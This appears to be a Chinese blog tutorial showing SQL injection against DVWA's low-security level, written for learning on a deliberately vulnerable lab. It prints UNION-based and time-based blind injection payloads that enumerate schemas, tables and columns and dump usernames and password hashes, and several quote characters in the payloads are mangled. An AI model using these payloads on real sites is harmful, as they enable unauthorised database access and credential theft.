DVWA中low級別的SQL注入
阿新 • • 發佈:2020-11-24
DVWA中低級別的SQL注入
基於錯誤的注入:
構造特殊的SQL語句注入到資料庫中,看得到的返回資訊,確認注入點,如果資料庫對輸入的某些SQL語句無返回資訊時,可以進行基於時間的注入(sleep函式)
1.基於union的注入
一般通過錯誤和布林注入確認注入點之後,
第一步猜解資料庫的欄位數
//猜解資料庫的欄位數(列)
' union select 1'
後端程式碼執行如下:
select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''
此時資料庫提示
The used SELECT statements have a different number of columns
接下來我們繼續猜解
後端程式碼執行如下:
select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '';
' union select 1,2'
此時我們發現猜解成功,原始語句的欄位數為2
這個時候我們可以進行聯合查詢,查出我們所需的資訊。
‘union select version(),database()’
‘union select user(),database()’
查詢到資料庫的名稱為dvwa
接著我們可以通過資料庫字典來查詢資料庫中的所有庫和表
‘union select table_schema, 1 from information_schema.tables-- ’
後端執行程式碼如下:
select first_name,last_name from dvwa.users where user_id=’'union select table_name,1 from information_schema.tables – ‘’;
查詢所有庫中的表名:
'union select table_name, 1 from information_schema.tables – ’
查詢資料庫和所有的表名:
類似於把班級分類然後把學生放到對應的班級中。庫就是班級,表就是學生
庫:dvwa
表:users,guestbook
接下來我們可以繼續查詢表的結構,以users為例:
‘union select 1,column_name from information_schema.columns where table_name=‘users’ – ’
驗證下:
接下來根據表中的欄位來查詢欄位對應的資訊唄:
‘union select user,password from users;
我們受限於原始語句的欄位只能查詢兩列,藉助字串拼接來查詢所有欄位:
‘union select password, concat(first_name,’’,last_name,’’,user) from users – ’
基於時間的布林盲注:
有些情況下我們輸入一些SQL語句時,伺服器不會返回任何資訊供我們判斷是否執行了語句。
我們可以通過基於時間的盲注,s通過leep函式來判斷SQL語句的執行時間
’ or sleep(2) – ’
手工注入的流程:
判斷是否有注入點,判斷的方法有兩種
第一種是錯誤的注入,加個 ’ 引號讓他報錯。
如果報錯說明單引號被帶入到資料庫中進行查詢
我們就可以組織SQL語句進行資訊收集。
如果不能報錯也有兩種可能,第一種是被資料庫過濾了,第二種是資料庫收到了訊息但是不返回任何訊息,我們可以基於時間的注入。
找到注入點之後,採用union聯合查詢的方式猜解資料庫原始語句的欄位,猜解完成後,查詢資料庫的資訊。查詢資料庫,表名,欄位名,根據欄位名查詢對應的資料。